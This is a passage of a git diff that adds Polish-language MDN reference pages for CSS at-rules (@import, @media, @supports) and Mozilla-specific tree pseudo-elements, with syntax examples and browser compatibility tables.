+}</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135">Reguły stylów użytkownika dotyczące stron</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<p>Dostępne od Mozilli 1.8 / <a href="pl/Firefox_1.5">Firefox 1.5</a>.</p>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/css/@import/index.html b/files/pl/web/css/@import/index.html
new file mode 100644
index 0000000000..3ed94ea5d7
--- /dev/null
+++ b/files/pl/web/css/@import/index.html
@@ -0,0 +1,34 @@
+---
+title: '@import'
+slug: Web/CSS/@import
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/@import
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>@import</code> pozwala użytkownikom importować reguły stylów z innych arkuszy stylów.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">@import "<i>url</i>";
+@import "<i>url</i>"<i>media1</i>,<i>media2</i>,<i>...</i>;
+@import url("<i>url</i>");
+@import url("<i>url</i>")<i>media1</i>;
+</pre>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>W związku z tym, że program użytkownika może pominąć wyszukiwanie zasobów dla niewspieranych typów mediów, autorzy mogą określić reguły <code>@import</code> zależne od mediów. Te warunkowe importowanie określa się przy użyciu oddzielonych przecinkami <a href="pl/CSS/@media#Media_types">typów mediów</a> po URI. W przypadku braku jakiegokolwiek typu mediów import jest bezwarunkowy. Określenie <code>all</code> dla medium przynosi ten sam efekt.</p>
+<p> </p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">@import url("fineprint.css") print;
+@import url("bluish.css") projection, tv;
+</pre>
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/cascade.html#at-import">CSS 2.1</a></li>
+</ul>
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p>{{ Cssxref("@media") }}, {{ Cssxref("@font-face") }}</p>
+<p>{{ languages( { "en": "en/CSS/@import", "fr": "fr/CSS/@import" } ) }}</p>
diff --git a/files/pl/web/css/@media/index.html b/files/pl/web/css/@media/index.html
new file mode 100644
index 0000000000..f1f74e6374
--- /dev/null
+++ b/files/pl/web/css/@media/index.html
@@ -0,0 +1,193 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/@media
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><code>@media</code> określa typ docelowych mediów (oddzielonych przecinkami) dla zestawu reguł (ograniczonych klamrami).
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">@media <i>&lt;typy mediów&gt;</i> {
+ /* reguły specyficzne dla medium */
+}
+</pre>
+<h3 id="Typy_medi.C3.B3w" name="Typy_medi.C3.B3w"> Typy mediów </h3>
+<dl><dt>all
+</dt><dd>Pasujące dla wszystkich urządzeń.
+</dd><dt>braille
+</dt><dd>Przeznaczone dla dotykowych urządzeń brailla.
+</dd><dt>embossed
+</dt><dd>Przeznaczone dla drukarek brailla.
+</dd><dt>handheld
+</dt><dd>Przeznaczone dla urządzeń kieszonkowych (przeważnie z małym ekranem, ograniczoną przepustowością).
+</dd><dt>print
+</dt><dd>Przeznaczone dla materiałów stronnicowanych lub dokumentów pokazywanych na ekranie w trybie podglądu wydruku. Sprawdź rozdział o mediach stronnicowanych, aby dowiedzieć się o zagadnieniach formatowania, które są specyficzne dla mediów stronnicowanych.
+</dd><dt>projection
+</dt><dd>Przeznaczone dla rzutowanych prezentacji, np. projektorów. Sprawdź rozdział o mediach stronnicowanych, aby dowiedzieć się o zagadnieniach formatowania, które są specyficzne dla mediów stronnicowanych.
+</dd><dt>screen
+</dt><dd>Przeznaczone przede wszystkim dla kolorowych ekranów komputerowych.
+</dd><dt>speech
+</dt><dd>Przeznaczone dla syntezatorów mowy. Uwaga: CSS2 miał do tego celu podobny typ mediów nazywany 'aural' . Zobacz w dodatku szczegóły o arkuszach stylów 'aural'.
+</dd><dt>tty
+</dt><dd>Przeznaczone dla mediów używających dla znaków siatki o stałej podziałce (jak np. dalekopis, terminal lub urządzenia przenośne o ograniczonych możliwościach wyświetlania). Autorzy nie powinni używać dla medium "tty" jednostek w pikselach.
+</dd><dt>tv
+</dt><dd>Przeznaczone dla urządzeń telewizyjnych (niska rozdzielczość, kolor, ograniczone przewijanie ekranów, dźwięk dostępny).
+</dd></dl>
+<p><br>
+</p>
+<h3 id="Grupy_medi.C3.B3w" name="Grupy_medi.C3.B3w"> Grupy mediów </h3>
+<p>Typy mediów są również częścią różnych grup mediów. Poniższa tabel pokazuje, które typy są w których grupach.
+</p>
+<table class="standard-table"> <tbody><tr>
+<td>
+</td><td class="header" colspan="10" style="text-align: center;">Grupy
+</td></tr> <tr>
+<td class="header">Typ
+</td><td class="header">continuous
+</td><td class="header">paged
+</td><td class="header">visual
+</td><td class="header">audio
+</td><td class="header">speech
+</td><td class="header">tactile
+</td><td class="header">grid
+</td><td class="header">bitmap
+</td><td class="header">interactive
+</td><td class="header">static
+</td></tr> <tr>
+<td class="header">braille
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>X
+</td><td>X
+</td></tr> <tr>
+<td class="header">embossed
+</td><td>
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>
+</td><td>X
+</td></tr> <tr>
+<td class="header">handheld
+</td><td>X
+</td><td>X
+</td><td>X
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>X
+</td><td>X
+</td></tr> <tr>
+<td class="header">print
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>
+</td><td>X
+</td></tr> <tr>
+<td class="header">projection
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>
+</td></tr> <tr>
+<td class="header">screen
+</td><td>X
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>X
+</td></tr> <tr>
+<td class="header">speech
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>X
+</td></tr> <tr>
+<td class="header">tty
+</td><td>X
+</td><td>
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>
+</td><td>X
+</td><td>X
+</td></tr> <tr>
+<td class="header">tv
+</td><td>X
+</td><td>X
+</td><td>X
+</td><td>X
+</td><td>
+</td><td>
+</td><td>
+</td><td>X
+</td><td>X
+</td><td>X
+</td></tr>
+</tbody></table>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre> @media print {
+ body { font-size: 10pt }
+ }
+ @media screen {
+ body { font-size: 13px }
+ }
+ @media screen, print {
+ body { line-height: 1.2 }
+ }
+</pre>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Wielomodalny typ medium jest wciąż jednym typem medium. Np. typ medium 'tv' jest wielomodalnym typem, który prezentuje jednocześnie wizualnie i słuchowo dla jednego obrazu.
+</p>
+<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/media.html#at-media-rule">CSS 2.1</a>
+</li></ul>
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85"> Zgodność z przeglądarką </h3>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p>{{ Cssxref("@import") }}, {{ Cssxref("@font-face") }}
+</p>{{ languages( { "en": "en/CSS/@media", "fr": "fr/CSS/@media" } ) }}
diff --git a/files/pl/web/css/@supports/index.html b/files/pl/web/css/@supports/index.html
new file mode 100644
index 0000000000..1c726ccdc8
--- /dev/null
+++ b/files/pl/web/css/@supports/index.html
@@ -0,0 +1,123 @@
+---
+title: '@supports'
+slug: Web/CSS/@supports
+translation_of: Web/CSS/@supports
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p><code>@supports</code> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> zawiera grupę reguł w bloku CSS zamkniętych w klamrowych nawiasach. Składa się z deklaracji CSS (klucz-para). Do wykorzstania mamy także warunkowość zdań: koniunkcję, alternatywę oraz negację. Powyższa reguła daje nam możliwość wykrycia dostępności danej reguły.</p>
+
+<p>Istnieje możliwość użycia tej reguły na zewnątrz <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a>, uzyskując tym samym dostęp do kontrolowania jej przy użyciu obiektowego modelu interfejsu CSS {{domxref("CSSSupportsRule")}}.<br>
+  </p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox">@supports <em>&lt;wyrażenie&gt;</em> {
+ /* reguły, które zostaną zaaplikowane w przypadku gdy wyrażenie jest prawdziwe */
+}
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Sprawdzanie_wsparcia_danej_właściowści_CSS">Sprawdzanie wsparcia danej właściowści CSS</h3>
+
+<pre class="brush:css;">@supports (animation-name: test) {
+ … /* reguły aplikowane gdy właściwość "animation-name" jest dostepna bez tzw. vendor prefixes, np. "-webkit-animation" */
+ @keyframes { /* przykład użycia @supports na zewnątrz innej reguły @ */
+ …
+ }
+}
+</pre>
+
+<h3 id="Sprawdzanie_wsparcia_danej_właściowści_CSS_wraz_z_przedrostkami">Sprawdzanie wsparcia danej właściowści CSS wraz z przedrostkami</h3>
+
+<pre class="brush:css;">@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+ (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+ … /* reguły aplikowane są dostępne, niezależnie czy przeglądarka obsługuje wersja z przedrostkami czy bez */
+}
+</pre>
+
+<h3 id="Sprawdzanie_czy_przeglądarka_nie_obsługuje_danej_właściwości">Sprawdzanie czy przeglądarka nie obsługuje danej właściwości</h3>
+
+<pre class="brush:css;">@supports ( not ((text-align-last:justify) or (-moz-text-align-last:justify) ){
+ /* aplikowane reguły, jeśli powyższe wyrażenie jest prawdziwe */
+}</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Conditional', '#at-supports', '@supports') }}</td>
+ <td>{{ Spec2('CSS3 Conditional') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarką</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wsparcie</td>
+ <td>28.0</td>
+ <td>{{ CompatGeckoDesktop("22") }} [1]</td>
+ <td>{{ CompatNo() }}</td>
+ <td>12.1</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wsparcie</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatGeckoMobile("22") }} [1]</td>
+ <td>{{ CompatNo() }}</td>
+ <td>12.1</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 17 do Gecko 21 wspierał tą cechę tylko gdy użytkownik włączył ją ustawiając wartość  <code>layout.css.supports-rule.enabled</code> na <code>true</code>.</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>The CSSOM class {{ domxref("CSSSupportsRule") }}, and the {{ domxref("CSS.supports") }} method that allows to perform the same check via JavaScript.</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-last-node/index.html b/files/pl/web/css/_colon_-moz-last-node/index.html
new file mode 100644
index 0000000000..8650cda09d
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-last-node/index.html
@@ -0,0 +1,63 @@
+---
+title: ':last-node'
+slug: 'Web/CSS/:-moz-last-node'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Web/CSS/:-moz-last-node'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Pseudoklasa <code>:last-node</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on ostatnim węzłem potomnym swojego rodzica. <code>:last-node</code> uwzględnia również węzły tekstowe składające się niebiałych znaków. Pseudoklasą, która działa identycznie, jednak nie uwzględnia węzłów tekstowych jest {{ Cssxref(":last-child") }}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">selektor:-moz-last-node { własności }
+</pre>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre>&lt;html&gt;
+ &lt;body&gt;
+ Trochę tekstu.
+ &lt;span id="first"&gt;pierwszy&lt;/span&gt;
+ &lt;div&gt;
+ &lt;span id="dfirst"&gt;pierwszy&lt;/span&gt;
+ &lt;span id="dsecond"&gt;drugi&lt;/span&gt;
+ &lt;/div&gt;
+ &lt;span id="second"&gt;drugi&lt;/span&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="eval">span:-moz-last-node { font-weight: bold; }
+</pre>
+
+<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są ostatnimi dziećmi swoich rodziców. Zostaną tutaj pogrubione obydwa słowa "<strong>drugi</strong>".</p>
+
+<ol>
+ <li>span o id <code>dsecond</code> jest ostatnim dzieckiem elementu div</li>
+ <li>span o id <code>second</code> jest ostatnim dzieckiem elementu body</li>
+</ol>
+
+<p> </p>
+
+<pre class="eval">div:-moz-first-node:last-child { background-color: red; }
+</pre>
+
+<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Jednak za elementem może znajdować się węzeł tekstowy.</p>
+
+<pre class="eval">div:-moz-first-child:last-node { background-color: red; }
+</pre>
+
+<p>Ten przykład natomiast ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Przed elementem może znajdować się węzeł tekstowy.</p>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Pseudoklasa <code>:-moz-last-node</code> nie jest obecnie obsługiwana. Skorzystaj z {{ Cssxref(":-moz-last-node") }}</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":first-node") }}</p>
diff --git a/files/pl/web/css/_colon_-moz-tree-cell-text/index.html b/files/pl/web/css/_colon_-moz-tree-cell-text/index.html
new file mode 100644
index 0000000000..ea450f5cb5
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-cell-text/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-tree-cell-text'
+slug: 'Web/CSS/:-moz-tree-cell-text'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell-text'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treecell</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>font</li>
+ <li>visibility</li>
+ <li>color</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-cell/index.html b/files/pl/web/css/_colon_-moz-tree-cell/index.html
new file mode 100644
index 0000000000..d6fb331d38
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-cell/index.html
@@ -0,0 +1,28 @@
+---
+title: ':-moz-tree-cell'
+slug: 'Web/CSS/:-moz-tree-cell'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-cell'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treecell</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>background</li>
+ <li>border</li>
+ <li>margin</li>
+ <li>outline</li>
+ <li>padding</li>
+ <li>visibility</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-column/index.html b/files/pl/web/css/_colon_-moz-tree-column/index.html
new file mode 100644
index 0000000000..9e17185510
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-column/index.html
@@ -0,0 +1,25 @@
+---
+title: ':-moz-tree-column'
+slug: 'Web/CSS/:-moz-tree-column'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-column'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treecol</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>margin</li>
+ <li>visibility</li>
+ <li>text style</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html b/files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html
new file mode 100644
index 0000000000..651ab25f65
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-drop-feedback/index.html
@@ -0,0 +1,26 @@
+---
+title: ':-moz-tree-drop-feedback'
+slug: 'Web/CSS/:-moz-tree-drop-feedback'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-drop-feedback'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treerow</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>margin</li>
+ <li>visibility</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-image/index.html b/files/pl/web/css/_colon_-moz-tree-image/index.html
new file mode 100644
index 0000000000..ae4bd01d26
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-image/index.html
@@ -0,0 +1,28 @@
+---
+title: ':-moz-tree-image'
+slug: 'Web/CSS/:-moz-tree-image'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/:-moz-tree-image'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treeitem</li>
+ <li>treecell</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>margin</li>
+ <li>list style</li>
+ <li>position</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-indentation/index.html b/files/pl/web/css/_colon_-moz-tree-indentation/index.html
new file mode 100644
index 0000000000..646d986d82
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-indentation/index.html
@@ -0,0 +1,23 @@
+---
+title: ':-moz-tree-indentation'
+slug: 'Web/CSS/:-moz-tree-indentation'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-indentation'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treeitem</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>position</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-line/index.html b/files/pl/web/css/_colon_-moz-tree-line/index.html
new file mode 100644
index 0000000000..dbe7014b2f
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-line/index.html
@@ -0,0 +1,24 @@
+---
+title: ':-moz-tree-line'
+slug: 'Web/CSS/:-moz-tree-line'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-line'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treeitem</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>border</li>
+ <li>visibility</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-progressmeter/index.html b/files/pl/web/css/_colon_-moz-tree-progressmeter/index.html
new file mode 100644
index 0000000000..65442cf74e
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-progressmeter/index.html
@@ -0,0 +1,24 @@
+---
+title: ':-moz-tree-progressmeter'
+slug: 'Web/CSS/:-moz-tree-progressmeter'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-progressmeter'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treecell</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>margin</li>
+ <li>color</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-row/index.html b/files/pl/web/css/_colon_-moz-tree-row/index.html
new file mode 100644
index 0000000000..763aefc4bb
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-row/index.html
@@ -0,0 +1,47 @@
+---
+title: ':-moz-tree-row'
+slug: 'Web/CSS/:-moz-tree-row'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-row'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<p><code>-moz-tree-row</code> jest używane do wybrania wierszy i zastosowania stylu do drzewa wierszy.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treerow</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">treechildren::-moz-tree-row {<em>style properties</em> }
+</pre>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>background</li>
+ <li>border</li>
+ <li>margin</li>
+ <li>outline</li>
+ <li>padding</li>
+ <li>display</li>
+ <li>-moz-appearance</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>treechildren::-moz-tree-row( foo bar )
+{
+ margin: 2%;
+}
+</pre>
+
+<p>...gdzie...</p>
+
+<pre> &lt;treerow properties="foo"&gt;...&lt;/treerow&gt;
+</pre>
diff --git a/files/pl/web/css/_colon_-moz-tree-separator/index.html b/files/pl/web/css/_colon_-moz-tree-separator/index.html
new file mode 100644
index 0000000000..b855c38553
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-separator/index.html
@@ -0,0 +1,27 @@
+---
+title: ':-moz-tree-separator'
+slug: 'Web/CSS/:-moz-tree-separator'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-separator'
+---
+<p>{{Non-standard_header}}{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treeseparator</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>border</li>
+ <li>display</li>
+ <li>-moz-appearance</li>
+</ul>
diff --git a/files/pl/web/css/_colon_-moz-tree-twisty/index.html b/files/pl/web/css/_colon_-moz-tree-twisty/index.html
new file mode 100644
index 0000000000..0da422f8a2
--- /dev/null
+++ b/files/pl/web/css/_colon_-moz-tree-twisty/index.html
@@ -0,0 +1,29 @@
+---
+title: ':-moz-tree-twisty'
+slug: 'Web/CSS/:-moz-tree-twisty'
+tags:
+ - CSS
+ - Non-standard
+translation_of: 'Mozilla/Gecko/Chrome/CSS/::-moz-tree-twisty'
+---
+<p>{{ CSSRef() }}{{Non-standard_header}}</p>
+
+<p>Aktywowany przez atrybut <code>properties</code>.</p>
+
+<h2 id="Powi.C4.85zane_elementy" name="Powi.C4.85zane_elementy">Powiązane elementy</h2>
+
+<ul>
+ <li>treecell</li>
+</ul>
+
+<h2 id="W.C5.82asno.C5.9Bci_styl.C3.B3w" name="W.C5.82asno.C5.9Bci_styl.C3.B3w">Własności stylów</h2>
+
+<ul>
+ <li>border</li>
+ <li>margin</li>
+ <li>padding</li>
+ <li>display</li>
+ <li>list style</li>
+ <li>position</li>
+ <li>-moz-appearance</li>
+</ul>
diff --git a/files/pl/web/css/_colon_active/index.html b/files/pl/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..7779ce45f6
--- /dev/null
+++ b/files/pl/web/css/_colon_active/index.html
@@ -0,0 +1,160 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+ - pseudo klasa
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Pseudo_klasaactive">Pseudo klasa:active</h2>
+
